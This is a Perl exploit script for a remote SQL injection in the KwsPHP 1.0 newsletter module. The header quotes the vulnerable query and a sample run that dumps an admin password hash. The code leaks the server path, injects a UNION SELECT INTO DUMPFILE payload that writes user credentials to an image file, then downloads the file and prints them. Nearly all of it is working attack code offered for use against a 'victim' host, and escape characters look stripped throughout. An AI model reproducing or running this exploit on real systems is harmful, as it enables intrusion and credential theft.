##################################################
#	Script....................................: KwsPHP  ver 1.0 Newsletter Module
#	Script Site...........................: http://www.kwsphp.org
#	Vulnerability........................: Remote SQL injection Exploit
#	Access..................................: Remote
#	level......................................: Dangerous
#	Author..................................: S4mi 
#	Contact.................................: S4mi[at]LinuxMail.org 
##################################################
#Special Greetz to : Simo64, DrackaNz, Coder212, Iss4m, HarDose, r0_0t, ddx39 .....
#
##################################################
#This Exploit Only When magic_quotes_gpc Is OFF
#Vuln Files:
#modulesnewsletterindex.php
#               [code]
#
# line: 94	$req = reqmysql('SELECT pseudo,email FROM users WHERE email="'.$newsletter.'"') ;
# line: 95	$rep1 = mysql_fetch_object($req) ;
#                
#                  [/code]
#
#**************************************************************************

#Screen shot
#----------------
#C:>KwsPHP.pl 127.0.0.1 /KwsPHP/

# Connecting .....[OK]
# Sending Data ...[OK]

#+ Getting the Full path.
#+ ---------------- +
#+ path: c:public_htmlkwsphp

# Connecting .....[OK]
# Sending Data ...[OK]

#+ Getting the injected code.
#+ ---------------- +
#127.0.0.1/KwsPHP//index.php?mod=newsletter&avert_news=1&newsletter="union all select pseudo,concat(CHAR(58),CHAR(58),pass,CHAR(44)) from users where id=1 INTO DUMPFILE 'c:/public_html/kwsphp/images/l3eez.gif'/*
#+ ---------------- +

#+ injecting database.
#+ ---------------- +
#+ Done!

# Connecting .....[OK]
# Sending Data ...[OK]

#+ Getting user info.
#+ ---------------- +
#+ username: admin1
#+ Password: e10adc3949ba59abbe56e057f20f883e

#C:>

###################################################

#!/usr/bin/perl

use IO::Socket ;

&header();

&usage unless(defined($ARGV[0] && $ARGV[1] ));

$host = $ARGV[0];
$path = $ARGV[1];

#print "User Name: ";
#$user = <STDIN>;
#chop ($user);

syswrite STDOUT ,"n Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);
								
die "n Unable to connect to $hostn" unless($sock);

syswrite STDOUT, "[OK]";

syswrite STDOUT ,"n Sending Data ...";

print $sock "GET $path/index.php?mod=newsletter&avert_news=1&newsletter=" HTTP/1.1n";
print $sock "Host: $hostn";
print $sock "Referer: $hostn";
print $sock "Accept-Language: en-usn";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n";
print $sock "Cache-Control: no-cachen";
print $sock "Connection: Closenn";
syswrite STDOUT ,"[OK]nn";

while($answer = <$sock>){

if ($answer =~ /in <b>(.*?)modul(.*?)92/){
print "+ Getting the Full path.n";
print "+ ---------------- +n";
print "+ path: $1n";

# here we need to replace the  "" by "/"  in the  $1 for the Windoz Servers (didn't 
$localpath = $1;
$fullpath = $localpath."images/l3eez.gif";
}

else
{
	print "Can't find the full pathn";
	exit(0);
}
}

$inject = "union all select pseudo,concat(CHAR(58),CHAR(58),pass,CHAR(44)) from users where id=1 INTO DUMPFILE '$fullpath'/*";

syswrite STDOUT ,"n Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);
								
die "n Unable to connect to $hostn" unless($sock);

syswrite STDOUT, "[OK]";

syswrite STDOUT ,"n Sending Data ...";
print $sock "GET $path/index.php?mod=newsletter&avert_news=1&newsletter="$inject HTTP/1.1n";
print $sock "Host: $hostn";
print $sock "Referer: $hostn";
print $sock "Accept-Language: en-usn";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n";
print $sock "Cache-Control: no-cachen";
print $sock "Connection: Closenn";
syswrite STDOUT ,"[OK]nn";


print "+ Getting the injected code.n";
print "+ ---------------- +n";
print "$host$path/index.php?mod=newsletter&avert_news=1&newsletter="$inject n";
print "+ ---------------- +nn";
print "+ injecting database.n";
print "+ ---------------- +n";


#here need to connect to the new created file created from the sql injection (user::password,)
syswrite STDOUT ,"n Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);
								
die "n Unable to connect to $hostn" unless($sock);

syswrite STDOUT, "[OK]";

syswrite STDOUT ,"n Sending Data ...";

print $sock "GET $path/images/l3eez.gif HTTP/1.1n";
print $sock "Host: $hostn";
print $sock "Referer: $hostn";
print $sock "Accept-Language: en-usn";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n";
print $sock "Cache-Control: no-cachen";
print $sock "Connection: Closenn";
syswrite STDOUT ,"[OK]nn";


while($answer = <$sock>){

if ($answer =~ /(.*?)::(.*?),/){
print "+ Getting user info.n";
print "+ ---------------- +n";
print "+ username: $1n";
print "+ Password: $2n";
}
}

sub usage{
	print "nUsage   : perl $0 host /path/ ";
	print "nExemple : perl $0 www.victim.com /KwsPHP/n";
	exit(0);
}
sub header(){
print q(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#	Script......................: KwsPHP  ver 1.0 Newsletter Module
#	Script Site.................: http://www.kwsphp.org
#	Vulnerability...............: Remote SQL injection Exploit
#	Access......................: Remote
#	level.......................: Dangerous
#	Author......................: S4mi 
#	Contact.....................: S4mi[at]LinuxMail.org 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
);
}

# www.Syue.com [2007-10-11]